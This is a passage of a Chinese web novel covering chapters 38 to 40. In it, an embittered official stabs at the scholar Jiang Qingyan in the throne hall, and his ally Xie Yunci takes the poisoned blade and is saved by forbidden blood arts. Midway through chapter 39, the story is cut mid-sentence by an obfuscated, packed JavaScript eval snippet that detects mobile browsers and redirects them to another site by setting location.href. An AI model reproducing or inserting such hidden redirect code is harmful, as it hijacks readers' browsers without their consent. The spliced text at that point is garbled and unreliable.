江清砚沉默片刻，缓缓道：“草民无实证，但可提供三个特征，供各位大人参详：其一，此人必对科举流程、阅卷规则乃至副主考个人习惯了如指掌；其二，此人应有渠道接触宫中用物，或至少能获取详细仿制信息；其三——”他顿了顿，目光扫过殿中百官，“此人必对朝中派系、权贵恩怨极其熟悉，且怀有深刻怨恨，方能设计出如此精巧的一石多鸟之局。” 话音落下，殿内陷入更深的寂静。 许多官员开始不自觉地在心中盘算：谁符合这些条件？谁与科举相关？谁曾因科举或朝争遭受过重大打击？ 就在此时，一个身影从文官队列中踉跄出列。 是礼部郎中赵元。 他年约五十，面容清癯，在礼部任职已二十余载，向来以谨小慎微、沉默寡言著称。此刻他却面如死灰，双膝一软跪倒在地，以头抢地，声音颤抖得几乎破碎： “陛下…臣…臣有罪！” 所有人的目光瞬间聚焦在他身上。 江清砚瞳孔微缩——赵元？那个在贡院巡场时曾与自己有过一面之缘，点头致意时神色温和的中年官员？ 皇帝眯起眼睛：“赵元，你有何罪？” 赵元伏在地上，肩头剧烈抖动，声音带着哭腔：“臣…臣知情不报！臣知道是谁主使此案！是…是张尚书！”他猛地抬头，指向吏部尚书张乾，眼中布满血丝，“张尚书因上次铨选之事与副主考结怨，又欲借此案打击三皇子一系，故设计陷害江会元！那澄心堂纸的仿品，是张尚书门人私下找工匠所制！毒药…毒药也是张府流出的！” “胡言乱语！”张乾暴怒，须发皆张，“赵元！你受何人指使，竟敢污蔑本官！” 赵元却似豁出去了，从怀中掏出一叠泛黄纸页，高举过头：“臣有证据！这是张尚书门人与工匠往来的书信草稿，是臣偶然所得！还有…还有张府采购‘鬼枯藤’的账目抄本！臣…臣一直不敢说，怕遭报复，可今日见江会元蒙冤至此，臣…臣良心难安啊！” 内侍接过纸页，呈递御前。 皇帝翻阅着，脸色越来越沉。 张乾跪地高呼：“陛下！这是构陷！定是有人伪造证据，欲置老臣于死地！” 殿内议论声渐起，许多官员看向张乾的眼神已带上了怀疑。 江清砚却皱起了眉。 不对劲。 赵元的指认来得太突然，太恰到好处。那些“证据”出现得也太巧合。更重要的是——江清砚的记忆宫殿中，迅速调出了与赵元相关的所有细节：礼部档案记载，赵元出身寒微，三十五岁才中进士，一直在礼部做着不痛不痒的闲职；三年前其独子参加乡试落第，郁郁而终；赵元自此愈发沉默，但工作从未出错… 等等。 独子落第而亡。 江清砚脑中电光石火般闪过一个念头——赵元之子当年参加的是江南乡试，而那场乡试的主考官，正是今日的吏部尚书张乾。传闻当年那场考试确有舞弊传闻，但最终不了了之… “赵大人，”江清砚忽然开口，声音不大，却让殿内一静，“令郎赵文谦，可是三年前殁于痨疾？” 赵元浑身一震，猛地扭头看向江清砚，眼中闪过一丝猝不及防的惊愕，随即化为更深的疯狂：“你…你提我儿作甚！这与本案无关！” “有关。”江清砚平静地说，大脑飞速运转，“若我没记错，令郎当年乡试落第后曾四处申告，称考场有人作弊夺其名额，但申诉无门。而他指控的作弊者，正是张尚书的外甥——后来那外甥中了举人，如今已在张尚书门下为官。” 殿内响起倒吸冷气的声音。 赵元的脸色彻底变了，那副惶恐懦弱的面具寸寸碎裂，露出底下扭曲的真实。他死死盯着江清砚，嘴唇颤抖，却说不出话。 “所以，”江清砚继续道，每个字都清晰如刀，“你恨的不仅是张尚书，更是整个科举制度，是整个让你儿子蒙冤而死的官场。陷害我不过是个引子，你真正要做的，是让张尚书与三皇子两派斗得两败俱伤，甚至——” “够了！”赵元突然暴喝一声，从地上猛地站起。 那一瞬间，他佝偻的身形竟显出几分骇人的气势。 谢云辞几乎在同时动了——武将的直觉让他嗅到了危险的气息。他身形微侧，手已按上腰间刀柄。 但赵元的速度更快。 他根本就没打算辩解。 “是！我恨！”赵元狂笑起来，笑声嘶哑如夜枭，“我恨这不公的世道！恨你们这些道貌岸然的权贵！我儿寒窗十年，才华横溢，却因无权无势被夺去功名！他郁郁而终时，你们在做什么？张乾在为他外甥摆庆功宴！三皇子在收受贿赂提拔亲信！这满朝朱紫，有几个是干净的？！” 他一边嘶吼，一边踉跄着向江清砚的方向移动，状若疯癫。 “小心！”谢云辞厉喝出声，身形已如离弦之箭般射出。 迟了。 赵元袖中寒光乍现——一柄淬着幽蓝光泽的匕首握在他手中，在殿内烛火下泛着妖异的光。他根本不是要理论，也不是要指证，从一开始，他的目标就是江清砚！ “我要让天下人都看看！”赵元双目赤红，面容扭曲如恶鬼，“看看这科举选出来的‘会元’死在金銮殿上，看看这朝廷有多荒唐！你们都该给我儿陪葬！” 匕首破空，直刺江清砚心口！ 一切发生在电光石火之间。殿内侍卫反应不及，百官呆若木鸡，连皇帝都从龙椅上惊起。 江清砚戴着沉重木枷，根本无法闪避。他能做的只有微微侧身，试图让开要害—— 但一道身影比他更快。 谢云辞如一道黑色闪电，在匕首即将触及江清砚衣襟的刹那，整个人扑挡在他身前。 “噗嗤——” 利刃入肉的声音，在死寂的大殿中清晰得刺耳。 匕首深深没入谢云辞左肩胛，直没至柄。赵元这一刺用尽了全力，带着数年积攒的所有怨恨与疯狂。 时间仿佛凝固了。 谢云辞身体一震，却未后退半步。他左手反手扣住赵元手腕，右手已抽出腰间绣春刀，刀光一闪，赵元持匕的右臂齐肩而断！ 鲜血喷涌，溅上蟠龙柱，溅上青石砖，也溅上江清砚苍白的脸。 赵元惨叫着倒地，断臂处血如泉涌。侍卫们这才反应过来，一拥而上将其制住。 但所有人的目光，都聚焦在那柄仍插在谢云辞肩上的匕首上。 刀身泛着诡异的蓝光，血从伤口涌出，起初是鲜红，但迅速转为暗紫，最后竟成了浓稠的墨黑色——剧毒！ “云辞！”江清砚失声喊道，枷锁限制了他的动作，他只能眼睁睁看着谢云辞肩头的黑色迅速蔓延。 谢云辞咬牙，左手握住匕首柄，猛地拔出！ 黑血喷溅，他踉跄一步，单膝跪地，却仍用刀支撑着身体，挡在江清砚身前。脸色以肉眼可见的速度灰败下去，嘴唇瞬间泛紫。 “太医！传太医！”皇帝厉声喝道。 殿内乱作一团。有官员惊呼，有侍卫奔走，刑部尚书急令封锁大殿，禁军统领已调兵围住整个金銮殿。 但江清砚什么都听不见了。 他的世界只剩下谢云辞逐渐微弱的气息，和那通过“心头血”联结传来的、如潮水般汹涌的痛苦与冰冷。 不。 不能。 绝不能再失去。 江清砚眼中闪过一丝决绝。他猛地抬头，看向皇帝：“陛下！请恕草民失仪——此毒剧烈，寻常太医恐难解！草民家传医术，或可一试！” “不可！”有大臣急道，“江清砚仍是戴罪之身，岂可——” “准！”皇帝斩钉截铁，目光如电，“卸去枷锁！所需何物，即刻取来！” 枷锁落地，发出沉重声响。 江清砚踉跄扑到谢云辞身边，双手颤抖却精准地撕开他肩头衣物。伤口周围的皮肉已开始发黑溃烂，黑色脉络如蛛网般向心脉蔓延——是“阎罗泣”，天下奇毒之一，见血封喉，中者无救。 至少，寻常医者无救。 但江清砚不是寻常医者。 他是江家最后的传人。 “取银针！烈酒！蜡烛！”江清砚厉声道，声音里带着他自己都没察觉的颤抖。 内侍匆忙取来所需之物。江清砚将银针在烛火上灼烧，浸入烈酒，动作快得只剩残影。七根银针依次刺入谢云辞心脉要穴，暂时封住毒素蔓延。 但不够。 “阎罗泣”的毒性太烈，银针封穴最多只能拖延半刻钟。半刻钟后，毒入心脉，大罗金仙难救。 江清砚看着谢云辞越来越弱的呼吸，看着他渐渐涣散的瞳孔，看着他仍努力转向自己、试图扯出一个安抚笑容的嘴角—— 够了。 已经失去过一次，不能再有第二次。 江清砚闭了闭眼，再睁开时，眼中只剩一片冰封般的平静。他转向皇帝，重重叩首： “陛下，草民需用家传禁术为谢大人祛毒。此术凶险，施术过程中不得有丝毫干扰，否则两人皆亡。请陛下准允，并清退闲杂人等。” 皇帝盯着他，片刻，挥手：“除太医令、禁军统领外，余人退至殿外！封锁大殿五十步，擅入者斩！” 百官匆匆退去，殿门轰然关闭。偌大的金銮殿内，只剩寥寥数人，烛火摇曳，映着满地鲜血，如修罗场。 江清砚不再犹豫。 他咬破右手食指，以血为墨，在谢云辞心口画下一个繁复诡异的符阵。每画一笔，他的脸色就苍白一分，仿佛生命力正随着血液流失。 太医令在一旁看得目瞪口呆：“这…这是失传已久的‘逆命血阵’？江公子，此阵需以施术者半身精血为引，你本就心疾在身，强行施展会——” “会死。”江清砚平静地接话，手上动作却不停，“我知道。” 他画完最后一笔，抬眸看向意识已近模糊的谢云辞，轻声道：“但你不会。” 话音落下，江清砚双手结印，按在血阵之上。 刹那间，血色光芒自符阵中暴起，将两人笼罩其中！光芒如活物般蠕动，顺着谢云辞的伤口钻入体内，所过之处，黑色毒素如遇克星，疯狂退散—— 不，不是退散。 是在被强行抽取、逆转流向，顺着血光构筑的通道，涌向江清砚抵在阵眼的手掌！ “呃啊——”江清砚浑身剧震，喉中涌上腥甜。 黑色的毒素如毒蛇般钻入他的经脉，所过之处如同烈焰灼烧、冰锥穿刺。心口旧疾在毒素刺激下轰然爆发， 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他看到的最后一幕，是江清砚倒下的身影，是那张苍白如纸、七窍流血的脸，是那双向来清澈此刻却渐渐失去焦点的眼睛。 “清砚——！！！” 谢云辞不知道哪来的力气，竟在重伤之下猛地撑起身，接住了那个坠落的身影。 触手冰凉，轻得仿佛没有重量。 “太医！救他！救他啊！”谢云辞嘶吼着，肩头伤口崩裂，鲜血染红两人衣襟，他却浑然不觉。 太医令扑上前，搭上江清砚脉搏，脸色骤变：“脉象…乱了！心脉几乎停跳！毒已入心腑，加上心疾爆发，这…这…” “救他！”谢云辞双目赤红，如同困兽，“用我的血！心头血！再换一次命！换啊！” “谢大人不可！”太医令急道，“你重伤未愈，再取心头血必死无疑！况且江公子此刻的身体，承受不住第二次禁术了！” 皇帝已走下龙阶，看着眼前惨状，面色沉痛：“用最好的药！皇宫宝库所有珍稀药材，任取任用！救不回江清砚，太医院提头来见！” 内侍飞奔而去。 谢云辞紧紧抱着江清砚，感受到怀中身体的温度正在迅速流失。他低头，额头抵着江清砚冰凉的额，声音颤抖得破碎： “你别死…求你了…江清砚…你答应过要与我一同查案…答应过要陪我去江南看烟雨…你答应过的…” 没有回应。 只有微弱到几乎察觉不到的呼吸，证明这个人还活着。 谢云辞猛地想起什么，催动体内那股联结——曾经清晰存在的感应，此刻微弱如风中残烛，断断续续，仿佛随时会彻底熄灭。 他不要命地将自己的内力通过联结渡过去，试图温暖那具冰冷的身体。 一点一点，如同捧着一盏即将油尽灯枯的烛火，小心翼翼，绝望又虔诚。 殿外，雷声隆隆，暴雨倾盆而至。 金銮殿内，烛火摇曳，映着两具相拥的身躯，一者重伤，一者濒死。 太医们忙作一团，施针的施针，喂药的喂药。但所有人都知道，江清砚的伤势已非医术所能及——毒入心脉，心疾爆发，又耗尽精血施展禁术，这根本是必死之局。 谢云辞不肯松手。 他就那样跪坐在冰冷的青石砖上，抱着江清砚，肩头的血与江清砚七窍流出的血混在一起，分不清彼此。 “陛下，”禁军统领低声禀报，“赵元已押入天牢，但他失血过多，恐也撑不过今夜。审讯时他狂笑不止，说‘终于为儿报仇，死也瞑目’，还说什么…‘这肮脏朝廷，该有一场大火洗净’。” 皇帝闭了闭眼，再睁开时，眼中只剩帝王的冷酷：“查。赵元所有亲眷、门生、往来人员，一查到底。此案背后若还有人，掘地三尺也要挖出来。” 他看向殿中相拥的两人，沉默良久，轻声道：“谢云辞，带江清砚去偏殿。太医院所有人，日夜轮守。需要什么，直接去内库取。” “谢…陛下。”谢云辞的声音沙哑得几乎听不清。 他艰难地抱起江清砚——那么轻，轻得像一片羽毛——一步步走向偏殿。每一步，肩头的伤口都在撕裂，但他感觉不到疼。 所有的疼，都在心里。 偏殿内，宫人已准备好床榻、热水、药材。 谢云辞将江清砚小心放在榻上，用湿巾一点点擦去他脸上的血迹。那张清隽面容此刻白得透明，长睫低垂，安静得如同沉睡。 太医们围上来，施针灌药，忙到深夜。 子时三刻，太医令疲惫地走出内室，对守在门口的谢云辞摇头：“谢大人，老夫…尽力了。江公子心脉受损太重，毒虽被逼出大半，但残余毒素与心疾交织…除非有奇迹，否则…熬不过三日。” 谢云辞靠在门框上，肩头已重新包扎，但纱布下仍渗着血。他沉默了很久，久到太医令以为他不会回答时，才轻声说： “会有奇迹的。” “什么？” “我说，”谢云辞抬眸，眼中是从未有过的坚定，“他不会有事的。因为我不允许。” 太医令张了张嘴，最终只是叹息着摇头离开。 殿内重归寂静。 谢云辞走回榻边，坐下，握住江清砚冰凉的手，十指相扣。 窗外暴雨如注，雷声滚滚。 殿内烛火昏黄，映着两张苍白的面容。 “你听好了，江清砚，”谢云辞低声说，声音轻得像怕惊扰什么，“你救过我两次。第一次在破庙，第二次在刚刚。我这条命，早就是你的了。” 他俯身，在江清砚眉心落下一个轻如羽毛的吻。 “所以，别想丢下我。” “你若敢死，我就去黄泉把你抓回来。” “说到做到。” 窗外，一道闪电撕裂夜空，照亮殿内两人相握的手，和谢云辞眼中那簇不肯熄灭的火焰。 暴雨还在下。 长夜未央。 但黎明，总会来的。 39. 第 39 章 第三十九章生死之间 暴雨下了整整一夜。 皇宫偏殿内，烛火通明。太医们进进出出，药汤一碗接一碗地送来，又原封不动地端走——江清砚已经无法吞咽。 子时过后，他的呼吸微弱到几乎难以察觉。太医令第三次施完续命针，走出内室时，对守在门外的谢云辞摇了摇头，那眼神里的意思再明白不过：准备后事吧。 谢云辞肩头的伤还在渗血，但他毫不在意。他推开门走进内室，屏退了所有宫人，然后坐到榻边，握住江清砚冰凉的手。 “都出去。”他的声音沙哑，却带着不容置疑的命令。 宫人们犹豫着看向太医令，太医令叹了口气，挥手示意众人退出。门被轻轻掩上，殿内只剩下他们两人。 烛火跳动，在江清砚苍白的脸上投下明明灭灭的光影。他安静地躺着，长睫如蝶翼般覆在眼睑上，若不是胸口还有一丝几乎看不见的起伏，几乎让人以为他已经—— 谢云辞猛地掐断那个念头。 他解开自己的衣襟，露出心口的位置。那道取心头血留下的疤痕还未完全愈合，在烛光下泛着暗红色。他咬破指尖，以血为引，在心口再次画下那个繁复的符阵。 “你疯了吗！”太医令透过门缝看到这一幕，忍不住推门冲进来，“谢大人！你现在的身体根本承受不住第二次禁术！你会死的！” “出去。”谢云辞头也不回，声音冰冷如铁，“或者我让人请你出去。” 太医令急得跺脚：“你这是送死！就算你用了禁术，江公子现在的身体也承受不了第二次换血！你这是要让两个人都——” “我说，出去。” 谢云辞终于转头看他，那双眼睛里翻涌着太医令从未见过的疯狂与决绝。那是赌徒押上一切的眼神，是绝境之兽撕咬最后生机的眼神。 太医令张了张嘴，最终颓然退出，轻轻带上了门。 谢云辞重新低头，看着江清砚安静的面容。 “你说过信我，”他低声说，指尖轻抚过江清砚的脸颊，“所以这次也信我，好不好？” 没有回答。 谢云辞闭上眼，催动体内残存的内力，注入心口的血阵。 光芒再次亮起，比上次微弱，却更加固执。血色的光丝从符阵中伸出，如同有生命的触须，轻轻探向江清砚心口的位置。 但就在光丝即将触及的瞬间，异变陡生—— 江清砚心口突然爆发出另一道光芒！ 不是血色的，而是淡淡的、近乎透明的青色光芒，如初春薄雾，又如月下清泉。那光芒温柔却坚定地推开谢云辞的血色光丝，形成一个保护罩般的光晕，将江清砚整个人笼罩其中。 谢云辞愣住了。 这是什么？ 他从未见过这种光芒，更不知道江清砚体内竟还藏着这样的力量。 就在他怔神间，青色光芒忽然扩散开来，将他也包裹了进去。那一瞬间，谢云辞感觉到一股温和却浩瀚的力量涌入体内，肩头的伤痛奇迹般减轻，疲惫到极点的精神也为之一振。 更神奇的是，他“看见”了—— 不是用眼睛，而是某种更深层的感知。他看见江清砚体内的情况：黑色的毒素如狰狞的毒蛇盘踞在心脉周围，每一次心脏跳动都变得艰难无比；旧疾留下的暗伤如同破碎的瓷器，遍布心脉各处；而那股青色光芒，正从心脉最深处涌出，一点一点修复那些裂痕，温柔却坚定地将黑色毒素往外推挤。 这青色光芒…竟是江清砚自身的生命力？ 谢云辞突然明白了——这不是外力，而是江清砚自己的身体在自救。这个看似温润柔弱的书生，骨子里藏着何等顽强的求生意志。 他不再强行施展禁术，而是放松下来，任由那青色光芒将两人连接在一起。他感觉到自己的内力被那光芒引导着，温和地注入江清砚体内，与那青色光芒一同修复受损的心脉。 这是一种前所未有的体验。 他们的意识仿佛交融在一起，分不清彼此。谢云辞能感觉到江清砚的痛苦——那种心脉被毒素侵蚀、每一次呼吸都如刀割的剧痛；也能感觉到那股青色光芒的源头——那是一个温暖的、光明的所在，如同冬日暖阳，又如同母亲怀抱。 而在那温暖的核心深处，谢云辞“看”到了更多—— 破碎的记忆片段如雪花般飞舞： 一个四五岁的小男孩，蹲在药圃里认真分辨草药，旁边站着一位温柔的女子，轻声讲解每株草药的药性。那是江清砚的母亲。 小男孩稍大一些，在书房里背书，父亲站在身后，手指轻轻点着书页：“清砚，医者仁心，但也要懂得自保。这卷毒经，你要烂熟于心。” 十岁那年，家中突遭大火。小男孩被母亲推进密室，最后看到的画面是母亲回头时含泪的微笑：“清砚，活下去。” 密室里的三年。独自一人，靠着储存的干粮和水，还有满室的医书毒经。他在黑暗中学习，在寂静中长大，将江家千年的传承刻进骨血。 十三岁走出密室，面对的是一片废墟。他用稚嫩的肩膀埋葬了父母模糊的遗骸，然后背上行囊，踏上去京城的路。 他要考取功名，不是为了光宗耀祖，而是为了有朝一日能查清那场大火的真相——那不是意外，他记得火光中那些黑衣人冰冷的面具，记得他们搜查时提到的“江家秘术不能留”。 一路上，他救治过路边的乞丐，也毒杀过拦路的匪徒。他用医术救人，也用毒术自保。他学会了笑，学会了温和地与人交谈，学会了藏起所有棱角和锋芒，做一个普通的、进京赶考的书生。 直到那个雨夜，破庙里，撞进来一个满身是血的人。 那些记忆碎片如潮水般涌入谢云辞的意识，他看见江清砚第一次杀人时的颤抖，看见他深夜独自研读毒经时的专注，看见他对着父母牌位默默发誓时的坚毅，也看见—— 看见江清砚在破庙里，为昏迷的他包扎伤口时，眼中那一闪而过的、连自己都未曾察觉的温柔。 看见山洞篝火旁，听他梦呓喊“阿姐”时，江清砚轻轻为他掖好被角的动作。 看见天牢里，隔着栅栏握住他的手说“我一直都信”时，那双眼睛里不容错认的信任与依赖。 看见刚才在金銮殿上，江清砚看到他挡刀受伤时，那一瞬间瞳孔骤缩的惊恐与绝望。 原来… 原来这个人，早就将他放在了心里最深处的位置。 谢云辞的心口像是被什么温热的东西填满了，满得发胀，满得发疼。 就在这时，他感觉到江清砚的意识有了波动。 那是一种微弱的、近乎呢喃的思绪，断断续续，却清晰地传递过来： “…云辞…” “别…别死…” “我还…没…” 还没什么？ 谢云辞焦急地想要听清，但那思绪又散开了，如同风中残烛。 他定了定神，通过两人之间的联结，将自己的意念传递过去： “我在。” “江清砚，我在。” “我没事，你也要没事。” “我们说好的，要一起查案，一起去江南，一起…活下去。” 他一遍又一遍地传递着这些念头，固执地，不肯停歇。 不知过了多久，也许是半个时辰，也许是一个时辰，谢云辞感觉到江清砚体内那股青色光芒忽然大盛！ 那光芒如同潮水般涌向心脉处的黑色毒素，温柔却不容抗拒地将它们包裹、溶解、净化。黑色以肉眼可见的速度消退，心脉上的裂痕在青光的滋养下缓缓愈合。 成功了！ 谢云辞几乎要喜极而泣。 但他还没来得及高兴，就感觉到江清砚的呼吸再次变得急促——青光虽然净化了毒素，却也耗尽了江清砚最后的心力。那温暖的光源正在迅速暗淡下去，如同即将燃尽的蜡烛。 不！ 谢云辞几乎是本能地做出反应。他将自己的内力毫无保留地注入那道联结，如同为即将熄灭的火堆添柴，拼命地想要维持那点光芒。 但人力有穷时。 他的内力也快耗尽了。 就在谢云辞感到绝望之际，异变再生—— 他心口那道取心头血留下的疤痕，忽然开始发烫。紧接着，一股熟悉又陌生的力量从疤痕深处涌出，沿着两人之间的联结，源源不断地注入江清砚体内。 那是… 谢云辞突然想起来了。 那是他之前渡给江清砚的心头血中，残留的、属于他自己的本源生命力。这些生命力原本已经与江清砚的身体融合，此刻在危急关头，竟被那青色光芒唤醒，反过来支撑着江清砚的生机。 原来如此。 原来所谓的“同命”，不仅仅是生命的联结，更是生机的共享、命运的纠缠。 你中有我，我中有你。 生死与共。 随着那股本源生命力的注入，江清砚心口那即将熄灭的青色光芒，重新稳定下来，虽然微弱，却不再继续暗淡。 时间一点点流逝。 殿外，天色由暗转明，雨势渐歇，晨光透过窗纸渗入殿内。 太医令在门外来回踱步，几次想要推门进去查看，又怕打扰到什么。他能感觉到殿内有股奇异的力量波动，却说不清那是什么。 终于，在辰时初刻，殿内传来一声轻微的咳嗽。 太医令猛地推开门。 他看到谢云辞仍坐在榻边，握着江清砚的手，两人周身笼罩着一层淡淡的、几乎看不见的青金色光晕。谢云辞肩头的纱布已被鲜血浸透，脸色白得吓人，但那双眼睛却亮得惊人。 而榻上，江清砚的睫毛微微颤动，缓缓睁开了眼睛。 那是一双依旧清澈，却还带着迷茫的眼睛。他眨了眨眼，似乎花了几息时间才聚焦，然后视线落在谢云辞脸上。 “…云辞？”他的声音轻得几乎听不见，沙哑干涩。 谢云辞的喉结滚动了一下，他想说什么，却发现自己的嗓子也哑得发不出声音。他只能用力握紧江清砚的手，用力到指节发白。 江清砚看着他，又低头看了看两人交握的手，然后视线落在谢云辞肩头那片刺目的血红上。 记忆如潮水般涌回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863515|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金銮殿。赵元。匕首。挡在身前的背影。 还有…禁术，换血，剧痛，然后是无边的黑暗与温暖。 “你…”江清砚的声音颤抖起来，“你怎么样了？” 谢云辞终于找回了自己的声音：“我没事。你呢？心口还疼吗？毒…解了吗？” 江清砚闭眼感受了一□□内的情况，然后睁开眼睛，眼中闪过一丝困惑：“毒…好像解了。但…不是我用禁术解的。我感觉到…有一股力量…” 他看向谢云辞，突然明白了什么：“你又用了禁术？” “没有成功，”谢云辞摇头，“是你自己的身体…有一股青色的光芒，它净化了毒素，还…” 他顿了顿，不知该如何描述那些共享的记忆，那些意识的交融。 江清砚却似乎明白了。他感受着体内那股陌生的、温暖的力量——那是谢云辞的本源生命力，此刻正与他的青色生机交织在一起，如同两股不同颜色的丝线，编织成一张保护心脉的网。 “原来…”他喃喃道，“江家医典里记载的‘共生之契’，是真的。” “共生之契？” “一种比‘逆命血阵’更古老的禁术，”江清砚轻声解释，“不是施术者强行换命，而是两个人的生命本源自愿交融，形成共生。一旦结成，生死相连，福祸与共。但医典上说，这种契需要双方完全信任，心意相通，且必须在濒死之际由其中一方主动触发…千百年来，从未有成功的记载。” 他看向谢云辞，眼神复杂：“所以刚才，你是…” “我只想着不能让你死，”谢云辞坦然地回望他，“其他的，我不知道。” 两人对视着，一时间谁也没有说话。 殿内晨光渐亮，将他们的身影拉长，交叠在一起。 太医令站在门口，看着这一幕，突然觉得自己的存在有些多余。他轻咳一声：“那个…老夫为两位把把脉？” 谢云辞这才回过神来，点了点头。 太医令上前，先为江清砚诊脉，手指搭上腕脉的瞬间，他眼睛猛地睁大：“这…这怎么可能？！” 脉象虽然虚弱，却平稳有序，毒素的迹象几乎完全消失，连心疾都似乎缓和了许多！这简直是奇迹！ 他又为谢云辞诊脉，眉头却皱了起来：“谢大人失血过多，内息耗尽，肩头的伤也需重新处理。必须静养，否则会落下病根。” 谢云辞却不在意：“他没事就好。” 太医令摇摇头，开了方子，嘱咐宫人去煎药，然后识趣地退下了。 殿内又只剩下两人。 江清砚挣扎着想要坐起来，谢云辞连忙扶住他，在他背后垫上软枕。 “赵元呢？”江清砚问。 “押入天牢了，但失血过多，可能撑不过今天。”谢云辞的声音冷了下来，“陛下已命彻查他所有关系网。此案背后，应该还有隐情。” 江清砚沉默片刻：“他儿子的事，是真的吗？” “我已经派人去查三年前江南乡试的卷宗，”谢云辞说，“如果确有冤情…” 他没说完，但江清砚懂他的意思。 如果确有冤情，那赵元的疯狂就有了根源。但无论如何，这不是他制造惊天大案、滥杀无辜的理由。 “对了，”谢云辞想起什么，“你昏迷时，我…看到了一些你的记忆。” 江清砚身体一僵。 “我看到你父母，看到那场大火，看到你在密室里独自学习的三年，”谢云辞的声音很轻，却很认真，“江清砚，你从未对我说过这些。” 江清砚低下头，长长的睫毛在眼下投出淡淡的阴影：“没什么好说的。都过去了。” “没有过去，”谢云辞握住他的手，“那些事还在你心里。你想查清那场大火的真相，对吗？” 江清砚猛然抬头。 “我帮你，”谢云辞直视他的眼睛，一字一句地说，“就像你帮我查谢家血案一样。我们一起去查，无论真相是什么，无论面对谁。” 江清砚的嘴唇微微颤抖，他想说什么，却发不出声音。最终，他只是用力回握住谢云辞的手，重重地点头。 晨光完全洒进殿内，将一切都染上温暖的金色。 窗外，雨后的宫城清新如洗，琉璃瓦上水光潋滟。 殿内，两人就这样静静坐着，双手交握，谁也没有说话，却仿佛已经说了千言万语。 不知过了多久，江清砚轻声开口： “云辞。” “嗯？” “谢谢你。” 谢云辞笑了，那是劫后余生的、带着疲惫却无比真实的笑容： “该说谢谢的是我。你又救了我一次。” “不，”江清砚摇头，“是我们救了彼此。” 他顿了顿，补充道：“以后，也一直这样。” 谢云辞怔了怔，然后笑意更深：“好。一直这样。” 生死与共，福祸同当。 这大概就是所谓的，同命。 殿外传来脚步声，内侍的声音在门外响起：“谢大人，江公子，陛下传二位去御书房。” 新的篇章，即将开始。 40. 第 40 章 第四十章禁术·逆命 御书房内，龙涎香袅袅。 皇帝坐在紫檀木书案后，手中把玩着一枚羊脂白玉扳指，目光深沉地看着跪在下方的两人。 谢云辞肩头重新包扎过，换了一身干净的飞鱼服，但失血后的苍白依旧明显。江清砚坐在皇帝特赐的软凳上，脸色比纸还白，却坚持要一同前来。 他们已经在这里跪了半柱香的时间。 “抬起头来。”皇帝终于开口。 两人依言抬头。 皇帝的视线先落在谢云辞身上：“你的伤，太医怎么说？” “回陛下，皮肉伤，无碍。”谢云辞的声音平静。 “无碍？”皇帝挑眉，“朕听说匕首上有‘阎罗泣’，见血封喉的剧毒。若非江清砚以命换命，你现在已经是一具尸体了。” 谢云辞抿唇不语。 皇帝又看向江清砚：“你呢？毒解了？心疾如何？” 江清砚垂眸：“谢陛下关心，草民已无大碍。” “无大碍？”皇帝忽然冷笑一声，将手中的奏折扔到两人面前，“太医院的脉案朕看过了。江清砚，你心脉受损之重，按理说根本活不下来。谢云辞，你失血超过三成，肩胛骨几乎被刺穿，太医说你能站着都是奇迹。” 他站起身，走下玉阶，来到两人面前：“所以朕很好奇，到底是什么样的‘医术’，能让两个必死之人，在一夜之间起死回生？” 空气骤然凝固。 江清砚的手指微微收紧。他料到皇帝会问，却没想到会问得如此直白。 谢云辞抢先开口：“陛下，是臣——” “朕问的是江清砚。”皇帝打断他，目光如炬地盯着江清砚，“江家医术，朕略有耳闻。传闻江氏先祖曾随神农尝百草，传下医毒双绝的秘术。但能让死人复生的手段…恐怕已经超出‘医术’的范畴了吧？” 江清砚深吸一口气，缓缓抬头：“陛下明鉴。草民所用，确非寻常医术，而是江家禁术‘逆命血阵’。” “禁术？”皇帝眯起眼睛。 “以血为引，以命换命，”江清砚的声音平静无波，“将一人体内的致命之毒或重伤，转移至施术者体内。需以施术者半身精血为代价，九死一生。” 皇帝沉默片刻：“所以你为救谢云辞，差点搭上自己的命？” “是。” “为什么？”皇帝追问，“你们相识不过数月，值得以命相换？” 江清砚沉默了。 这个问题，他自己也问过自己。 在破庙初遇时，在运河共战时，在天牢重逢时，在金銮殿上看到他挡刀时——为什么？ 答案其实很简单。 “因为，”江清砚轻声说，目光清澈而坚定，“他是谢云辞。” 没有更多解释，但这一句已经足够。 皇帝盯着他看了很久，忽然大笑起来：“好！好一个‘因为他是谢云辞’！” 笑声在御书房内回荡，带着几分释然，几分欣赏。 笑罢，皇帝走回书案后坐下，神色重新变得严肃：“‘逆命血阵’的事，到此为止。朕不会问更多，你们也最好永远封口。这种逆天改命的手段，若传出去，会招来无穷祸患。” “谢陛下体谅。”两人齐声道。 “不过，”皇帝话锋一转，“赵元一案，你们还需给朕一个完整的交代。” 他拍了拍案上那叠厚厚的卷宗：“刑部和大理寺通宵审阅，现已查明：赵元之子赵文谦，三年前参加江南乡试，文章本可中举，却因名额被张乾外甥顶替而落第。赵文谦四处申告无门，郁郁成疾，次年病逝。赵元自此性情大变。” 谢云辞皱眉：“所以赵元陷害江清砚，嫁祸张尚书，是为了报私仇？” “不止，”皇帝摇头，“朕派人查了赵元这三年的行踪。他发现儿子冤死后，曾试图通过正常途径申诉，但每次都被压下。半年前，他开始频繁出入京城各大茶馆酒肆，暗中收集官员隐私，特别是与科举相关的丑闻。” 江清砚心中一动：“他在收集‘素材’？” “没错，”皇帝眼中闪过一丝冷意，“他收集了十七位官员的罪证，从受贿到舞弊，从枉法到渎职。这次陷害你，嫁祸张乾，只是他整个计划的第一步。” 谢云辞脸色骤变：“他还有什么计划？” 皇帝从卷宗中抽出一份名单，递给两人。 江清砚接过，目光扫过那些名字，呼吸微微一滞。 名单上列着十二位官员，从礼部到吏部，从翰林院到国子监，几乎涵盖了所有与科举相关的要害部门。每个人名后面，都详细标注了罪名、证据存放地点、以及—— “爆破点？”谢云辞念出那个诡异的标注，“这是什么意思？” 